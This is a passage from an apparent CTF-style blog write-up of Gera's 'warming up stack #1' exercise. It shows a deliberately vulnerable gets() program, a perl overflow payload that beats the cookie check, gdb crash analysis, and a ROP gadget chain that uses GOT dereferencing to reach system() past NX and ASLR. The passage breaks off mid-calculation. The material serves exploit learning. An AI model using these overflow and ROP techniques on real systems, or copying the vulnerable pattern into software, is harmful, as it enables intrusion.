Gera's Insecure Programming warming up stack #1 (ROP NX/ASLR Bypass)

I started gera's exercises on format strings vulnerabilities. I am going to start on the stack next. This post will be my first ROP practice and it was fun :). The main purpose of "warming up the stack" exercises is to just bypass the canary. However, I wanted to make it harder and get a shell out of it.

{% highlight c%}
/* stack1.c *

  • specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
	printf("you win!\n");

}
{% endhighlight %}

The targeted platform was Debian 6.0.2 with linux-image-2.6-686-bigmem (PAE).

{% highlight bash %}
lixor@debian:~$ uname -a
Linux debian 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
lixor@debian:~$ ./checksec.sh --file InsecureProgramming/stack1/stack1
RELRO STACK CANARY NX PIE FILE
No RELRO No canary found NX enabled No PIE /home/lixor/InsecureProgramming/stack1/stack1
lixor@debian:~$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
{% endhighlight %}

{% highlight bash %}
lixor@debian:~/InsecureProgramming/stack1$ ./stack1
buf: bfba9b9c cookie: bfba9bec
hehe
lixor@debian:~/InsecureProgramming/stack1$ ./stack1
buf: bfef589c cookie: bfef58ec
kitties
{% endhighlight %}

The binary, obviously, just prints to the screen. The cookie variable needs to be written with values of 0x41424344. The variable cookie is before the buffer so it can be overwritten. Attentive readers will know these are ASCII values. Since the characters are being read from stdin into a buffer, the cookie needs to be overwritten with DCBA.

{% highlight bash %}
lixor@debian:~/InsecureProgramming/stack1$ perl -e 'print "A"x80 ."DCBA"' | ./stack1
buf: bfb75b9c cookie: bfb75bec
you win!
{% endhighlight %}

Yay, the cookie "protection" was bypassed and now for the real fun.

{% highlight bash %}
lixor@debian:~/InsecureProgramming/stack1$ perl -e 'print "A"x80 ."DCBA"."A"x12 ."\x24\x24\x24\x24"."C"x100' | ./stack1
buf: bfed408c cookie: bfed40dc
you win!
Segmentation fault (core dumped)
lixor@debian:~/InsecureProgramming/stack1$ gdb stack1 core
GNU gdb (GDB) 7.0.1-debian
..snip..
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.

0 0x24242424 in ?? ()

gdb> x/10x $esp
0xbfd5dd40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfd5dd50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfd5dd60: 0x43434343 0x43434343
gdb> q
{% endhighlight %}

I used a neat ROP tool from vnsecurity called ROPeMe [1]. Curious readers can find more information about the tool in the reference section. I found 4 useful gadgets in this small binary.

{% highlight c %}
Gadgets
(1) 0x80484d5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
(2) 0x80483ebL: xchg esi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
(3) 0x80484feL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
(4) 0x804841fL: call eax ; leave ;;
{% endhighlight %}

Only using these 4 gadgets do not do anything useful. I repeated (2) after (2) to get a perfectly working ROP payload (doing GOT dereferencing).

{% highlight c%}
Gadgets
(1) 0x80484d5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
(2) 0x80483ebL: xchg esi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
(3) 0x80484d5L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
(4) 0x80484feL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
(5) 0x804841fL: call eax ; leave ;;
{% endhighlight %}

The entire gadget list can be found here stack1.ggt.

I could not really find any simple pop eax gadget without it having a trailing leave instruction; which I tried to avoid as much as I can due to ASLR. The xchg esi, eax; instruction is good enough.

The leave instruction is similar to mov esp, ebp; pop ebp; resulting in my current stack pointer pointing at a different location.

The approach I used to perform ROP was GOT dereferencing as mentioned in the paper "Surgically returning to randomized lib(c)" [2].

Ideally, I want eax to have the address of system() and the GOT address of an offset function in ebx. Since I have a few gadgets with additional calculations, I will need some dummy values for (2).

{% highlight bash %}
lixor@debian:~/InsecureProgramming/stack1$ readelf -r stack1
..snip..
0804964c 00000107 R_386_JUMP_SLOT 00000000 gmon_start
..snip..
0804965c 00000507 R_386_JUMP_SLOT 00000000 puts
{% endhighlight %}

The two gadgets (2) and (4) accesses a memory location at a particular offset, +0x5d5b04c4 and -0xb8a0008 respectively. Using simple mathematics, I just need to subtract 0x5d5b04c4 and add 0xb8a0008 to remove the offset from the equation.

I choose gmon_start to be used in the first memory access (2) and puts for the actual function to find system().

In (2), there is small issue that eax is being added with 0x8. I need to subtract 0x00000008 from the value stored in eax (giving me the original value in eax).

{% highlight bash %}
Calculate value for eax